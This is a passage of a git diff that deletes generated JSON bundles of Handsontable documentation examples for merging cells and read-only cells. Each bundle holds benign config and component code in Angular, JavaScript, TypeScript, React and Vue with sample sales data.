    \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly data = [\n ['North America', 420000, 465000, 501000],\n ['Europe', 388000, 402000, 411000],\n ['APAC', 275000, 298000, 312000],\n ['Latin America', 142000, 151000, 158000],\n ['Middle East', 96000, 101000, 108000],\n ['Note: Q1 totals include a one-time currency adjustment.', null, null, null],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Region', 'Jan 2025', 'Feb 2025', 'Mar 2025'],\n rowHeaders: true,\n height: 'auto',\n contextMenu: true,\n mergeCells: true,\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n mergeNoteRow(): void {\n this.hotTable?.hotInstance?.getPlugin('mergeCells').merge(5, 0, 5, 3);\n }\n\n unmergeNoteRow(): void {\n this.hotTable?.hotInstance?.getPlugin('mergeCells').unmerge(5, 0, 5, 3);\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/merge-cells/angular/example4.ts","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example4","exampleTitle":"Merge and unmerge cells programmatically","docPermalink":"/merge-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example3.js.json deleted file mode 100644 index ba6f7d36..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example3.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Merge cells · React to merge and unmerge events · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n Select cells, then press Ctrl+M (or use the context menu) to merge or unmerge them. Hook activity appears here.\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example3');\nconst output = document.querySelector('#example3-output');\nlet loggedText = '';\nconst logEvent = (message) => {\n loggedText = `${message}\\n${loggedText}`;\n output.innerText = loggedText;\n};\nnew Handsontable(container, {\n data: [\n ['North America', 420000, 465000, 501000],\n ['Europe', 388000, 402000, 411000],\n ['APAC', 275000, 298000, 312000],\n ['Latin America', 142000, 151000, 158000],\n ['Middle East', 96000, 101000, 108000],\n ],\n colHeaders: ['Region', 'Jan 2025', 'Feb 2025', 'Mar 2025'],\n rowHeaders: true,\n height: 'auto',\n contextMenu: true,\n mergeCells: true,\n autoWrapRow: true,\n autoWrapCol: true,\n beforeMergeCells(cellRange) {\n logEvent(`beforeMergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n },\n afterMergeCells(cellRange, mergeParent) {\n logEvent(`afterMergeCells: merged into ${mergeParent.rowspan} row(s) by ${mergeParent.colspan} column(s).`);\n },\n beforeUnmergeCells(cellRange) {\n logEvent(`beforeUnmergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n },\n afterUnmergeCells(cellRange) {\n logEvent(`afterUnmergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n },\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/merge-cells/javascript/example3.js","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example3","exampleTitle":"React to merge and unmerge events","docPermalink":"/merge-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example3.ts.json deleted file mode 100644 index dc498c84..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Merge cells · React to merge and unmerge events · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n Select cells, then press Ctrl+M (or use the context menu) to merge or unmerge them. Hook activity appears here.\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\nconst output = document.querySelector('#example3-output') as HTMLElement;\n\nlet loggedText = '';\n\nconst logEvent = (message: string) => {\n loggedText = `${message}\\n${loggedText}`;\n output.innerText = loggedText;\n};\n\nnew Handsontable(container, {\n data: [\n ['North America', 420000, 465000, 501000],\n ['Europe', 388000, 402000, 411000],\n ['APAC', 275000, 298000, 312000],\n ['Latin America', 142000, 151000, 158000],\n ['Middle East', 96000, 101000, 108000],\n ],\n colHeaders: ['Region', 'Jan 2025', 'Feb 2025', 'Mar 2025'],\n rowHeaders: true,\n height: 'auto',\n contextMenu: true,\n mergeCells: true,\n autoWrapRow: true,\n autoWrapCol: true,\n beforeMergeCells(cellRange) {\n logEvent(`beforeMergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n },\n afterMergeCells(cellRange, mergeParent) {\n logEvent(`afterMergeCells: merged into ${mergeParent.rowspan} row(s) by ${mergeParent.colspan} column(s).`);\n },\n beforeUnmergeCells(cellRange) {\n logEvent(`beforeUnmergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n },\n afterUnmergeCells(cellRange) {\n logEvent(`afterUnmergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n },\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/merge-cells/javascript/example3.ts","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example3","exampleTitle":"React to merge and unmerge events","docPermalink":"/merge-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example4.js.json deleted file mode 100644 index c887037f..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example4.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Merge cells · Merge and unmerge cells programmatically · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example4');\nconst mergeButton = document.querySelector('#example4-merge');\nconst unmergeButton = document.querySelector('#example4-unmerge');\nconst hot = new Handsontable(container, {\n data: [\n ['North America', 420000, 465000, 501000],\n ['Europe', 388000, 402000, 411000],\n ['APAC', 275000, 298000, 312000],\n ['Latin America', 142000, 151000, 158000],\n ['Middle East', 96000, 101000, 108000],\n ['Note: Q1 totals include a one-time currency adjustment.', null, null, null],\n ],\n colHeaders: ['Region', 'Jan 2025', 'Feb 2025', 'Mar 2025'],\n rowHeaders: true,\n height: 'auto',\n contextMenu: true,\n mergeCells: true,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nmergeButton.addEventListener('click', () => {\n hot.getPlugin('mergeCells').merge(5, 0, 5, 3);\n});\nunmergeButton.addEventListener('click', () => {\n hot.getPlugin('mergeCells').unmerge(5, 0, 5, 3);\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/merge-cells/javascript/example4.js","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example4","exampleTitle":"Merge and unmerge cells programmatically","docPermalink":"/merge-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example4.ts.json deleted file mode 100644 index 21135e85..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Merge cells · Merge and unmerge cells programmatically · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\nconst mergeButton = document.querySelector('#example4-merge')!;\nconst unmergeButton = document.querySelector('#example4-unmerge')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['North America', 420000, 465000, 501000],\n ['Europe', 388000, 402000, 411000],\n ['APAC', 275000, 298000, 312000],\n ['Latin America', 142000, 151000, 158000],\n ['Middle East', 96000, 101000, 108000],\n ['Note: Q1 totals include a one-time currency adjustment.', null, null, null],\n ],\n colHeaders: ['Region', 'Jan 2025', 'Feb 2025', 'Mar 2025'],\n rowHeaders: true,\n height: 'auto',\n contextMenu: true,\n mergeCells: true,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nmergeButton.addEventListener('click', () => {\n hot.getPlugin('mergeCells').merge(5, 0, 5, 3);\n});\n\nunmergeButton.addEventListener('click', () => {\n hot.getPlugin('mergeCells').unmerge(5, 0, 5, 3);\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/merge-cells/javascript/example4.ts","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example4","exampleTitle":"Merge and unmerge cells programmatically","docPermalink":"/merge-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__react__example3.tsx.json deleted file mode 100644 index d2e8faac..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__react__example3.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Merge cells · React to merge and unmerge events · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useState } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const [output, setOutput] = useState('');\n\n const logEvent = (message: string) => {\n setOutput((previousOutput) => `${message}\\n${previousOutput}`);\n };\n\n return (\n <>\n \n {output ||\n 'Select cells, then press Ctrl+M (or use the context menu) to merge or unmerge them. Hook activity appears here.'}\n \n {\n logEvent(`beforeMergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n }}\n afterMergeCells={(cellRange, mergeParent) => {\n logEvent(`afterMergeCells: merged into ${mergeParent.rowspan} row(s) by ${mergeParent.colspan} column(s).`);\n }}\n beforeUnmergeCells={(cellRange) => {\n logEvent(`beforeUnmergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n }}\n afterUnmergeCells={(cellRange) => {\n logEvent(`afterUnmergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n }}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/merge-cells/react/example3.tsx","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example3","exampleTitle":"React to merge and unmerge events","docPermalink":"/merge-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__react__example4.tsx.json deleted file mode 100644 index d7979cbd..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__react__example4.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Merge cells · Merge and unmerge cells programmatically · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const mergeNoteRow = () => {\n hotRef.current?.hotInstance?.getPlugin('mergeCells').merge(5, 0, 5, 3);\n };\n\n const unmergeNoteRow = () => {\n hotRef.current?.hotInstance?.getPlugin('mergeCells').unmerge(5, 0, 5, 3);\n };\n\n return (\n <>\n
    \n
    \n \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/merge-cells/react/example4.tsx","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example4","exampleTitle":"Merge and unmerge cells programmatically","docPermalink":"/merge-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__vue__example3.vue.json deleted file mode 100644 index 84902ed0..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__vue__example3.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Merge cells · React to merge and unmerge events · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/merge-cells/vue/example3.vue","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example3","exampleTitle":"React to merge and unmerge events","docPermalink":"/merge-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__vue__example4.vue.json deleted file mode 100644 index 61977416..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__vue__example4.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Merge cells · Merge and unmerge cells programmatically · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/merge-cells/vue/example4.vue","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example4","exampleTitle":"Merge and unmerge cells programmatically","docPermalink":"/merge-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__angular__example1.ts.json deleted file mode 100644 index 1c3fa712..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__angular__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Read-only cells · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport { BaseRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\nconst dimmedTextRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n\n td.style.opacity = '0.6';\n};\n\n@Component({\n selector: 'example1-read-only-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n data: 'car',\n readOnly: true,\n renderer: dimmedTextRenderer,\n },\n {\n data: 'year',\n },\n {\n data: 'chassis',\n },\n {\n data: 'bumper',\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: 